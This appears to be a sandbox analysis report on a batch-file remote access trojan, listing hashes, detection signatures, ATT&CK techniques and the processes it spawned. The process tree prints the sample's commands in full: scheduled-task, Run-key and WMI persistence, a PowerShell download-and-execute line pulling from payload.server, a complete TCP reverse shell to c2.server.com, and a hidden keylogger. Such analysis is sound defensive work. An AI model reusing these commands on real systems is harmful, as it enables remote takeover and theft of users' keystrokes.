Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_87608_014258.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_87608_014258.bat
Resource
win11-20260513-en
General
- Target rat_build_87608_014258.bat
- Size 4KB
- Sample260529-2a3elsay7v
- SHA256 a02335d38a1a5d3e501cc328693eb9592194636f0ed3e3df644225d2fb9247d6
- MD5 d65ebd89877433cdf6b8ec449c80f29f
- SHA1 04a2f2411d06c2ebec7d9e80ec45dcbf7fcecdc0
- SHA512 7149f3da7c85bc4033867d43237697cd2ea7da27717404986c420b26b31b129738f7a7028eb7d3e7e79ca7ac21fcda9b57e6f717ab407b5e11ad597f72c94fb9
- SSDEEP 96:NIOErW6E9lJISFOpGCKklzPbILb5koKXtBMu2zg1N0pbuiFgZk8mvlo1wSw:N6C6wlJISV+4LwC5zoiFgkHlTSw
- TLSH T187B1F8175B676230DAF05624E9B338586B6CDAFB1341C94CBB45CEC4099CA43E1296F7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_87608.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4164 powershell.exe 112 powershell.exe 4180 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_87608 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_87608.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 216 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3200 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4788 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4276 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 112 powershell.exe 112 powershell.exe 4180 powershell.exe 4180 powershell.exe 4164 powershell.exe 4164 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4292 WMIC.exe Token: SeSecurityPrivilege 4292 WMIC.exe Token: SeTakeOwnershipPrivilege 4292 WMIC.exe Token: SeLoadDriverPrivilege 4292 WMIC.exe Token: SeSystemProfilePrivilege 4292 WMIC.exe Token: SeSystemtimePrivilege 4292 WMIC.exe Token: SeProfSingleProcessPrivilege 4292 WMIC.exe Token: SeIncBasePriorityPrivilege 4292 WMIC.exe Token: SeCreatePagefilePrivilege 4292 WMIC.exe Token: SeBackupPrivilege 4292 WMIC.exe Token: SeRestorePrivilege 4292 WMIC.exe Token: SeShutdownPrivilege 4292 WMIC.exe Token: SeDebugPrivilege 4292 WMIC.exe Token: SeSystemEnvironmentPrivilege 4292 WMIC.exe Token: SeRemoteShutdownPrivilege 4292 WMIC.exe Token: SeUndockPrivilege 4292 WMIC.exe Token: SeManageVolumePrivilege 4292 WMIC.exe Token: 33 4292 WMIC.exe Token: 34 4292 WMIC.exe Token: 35 4292 WMIC.exe Token: 36 4292 WMIC.exe Token: SeIncreaseQuotaPrivilege 4292 WMIC.exe Token: SeSecurityPrivilege 4292 WMIC.exe Token: SeTakeOwnershipPrivilege 4292 WMIC.exe Token: SeLoadDriverPrivilege 4292 WMIC.exe Token: SeSystemProfilePrivilege 4292 WMIC.exe Token: SeSystemtimePrivilege 4292 WMIC.exe Token: SeProfSingleProcessPrivilege 4292 WMIC.exe Token: SeIncBasePriorityPrivilege 4292 WMIC.exe Token: SeCreatePagefilePrivilege 4292 WMIC.exe Token: SeBackupPrivilege 4292 WMIC.exe Token: SeRestorePrivilege 4292 WMIC.exe Token: SeShutdownPrivilege 4292 WMIC.exe Token: SeDebugPrivilege 4292 WMIC.exe Token: SeSystemEnvironmentPrivilege 4292 WMIC.exe Token: SeRemoteShutdownPrivilege 4292 WMIC.exe Token: SeUndockPrivilege 4292 WMIC.exe Token: SeManageVolumePrivilege 4292 WMIC.exe Token: 33 4292 WMIC.exe Token: 34 4292 WMIC.exe Token: 35 4292 WMIC.exe Token: 36 4292 WMIC.exe Token: SeIncreaseQuotaPrivilege 4252 WMIC.exe Token: SeSecurityPrivilege 4252 WMIC.exe Token: SeTakeOwnershipPrivilege 4252 WMIC.exe Token: SeLoadDriverPrivilege 4252 WMIC.exe Token: SeSystemProfilePrivilege 4252 WMIC.exe Token: SeSystemtimePrivilege 4252 WMIC.exe Token: SeProfSingleProcessPrivilege 4252 WMIC.exe Token: SeIncBasePriorityPrivilege 4252 WMIC.exe Token: SeCreatePagefilePrivilege 4252 WMIC.exe Token: SeBackupPrivilege 4252 WMIC.exe Token: SeRestorePrivilege 4252 WMIC.exe Token: SeShutdownPrivilege 4252 WMIC.exe Token: SeDebugPrivilege 4252 WMIC.exe Token: SeSystemEnvironmentPrivilege 4252 WMIC.exe Token: SeRemoteShutdownPrivilege 4252 WMIC.exe Token: SeUndockPrivilege 4252 WMIC.exe Token: SeManageVolumePrivilege 4252 WMIC.exe Token: 33 4252 WMIC.exe Token: 34 4252 WMIC.exe Token: 35 4252 WMIC.exe Token: 36 4252 WMIC.exe Token: SeIncreaseQuotaPrivilege 4252 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2908 wrote to memory of 4276 2908 cmd.exe 88 PID 2908 wrote to memory of 4788 2908 cmd.exe 89 PID 2908 wrote to memory of 4292 2908 cmd.exe 90 PID 2908 wrote to memory of 4252 2908 cmd.exe 91 PID 2908 wrote to memory of 2236 2908 cmd.exe 92 PID 2908 wrote to memory of 3200 2908 cmd.exe 97 PID 2908 wrote to memory of 216 2908 cmd.exe 100 PID 2908 wrote to memory of 112 2908 cmd.exe 101 PID 2908 wrote to memory of 4180 2908 cmd.exe 102 PID 2908 wrote to memory of 4164 2908 cmd.exe 104 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_87608_014258.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_87608" /tr "C:\Users\Admin\AppData\Local\Temp\_87608.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4276
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_87608" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_87608.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4788
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_87608", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4292
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_87608", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_87608.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4252
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_87608.txt2⤵PID:2236
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:3200
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:216
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_87608.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:112
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4180
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4164
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 db6a70f0185f82bf263a91e47917f32fee4b554841c2eb347c1a4cc8aec3d4de
- MD5 cc771575d4255ae9ee635a09a8b6c9b9
- SHA1 36052bc9765dbca6151d902c2fd062c22538fa8f
- SHA512 14ed71e39fcdc0cb9c6c898462e9db8a58c490493c4cb66a19f73e65ec3329c378172df8bddc25402902421246da41e0d33cd6971e1efb233c013cf3b0f2a828
- TLSH T17D117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 68f7e1a6803c63d66989c82004e63a1e9de0e526c31d333018f8b313bb98df58
- MD5 9e01db2758a3df96088012b39c6f5e6d
- SHA1 03cc93332b77309cf6baf51bda7c71d6e3c9061f
- SHA512 ae2e1413b05a94f1630fd23bd9ac5df494c46dedccbdca5042f4356264b7a64a9a726f03e2f60f32a086a56d860a235a04f15d1debf6911475ed4f95339cc602
- TLSH T1BB115727B39C89A1CC96153A409D9C1172B687D7409EDEDF6FC0D214A1BF584CB611A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4xww4dj.2vx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH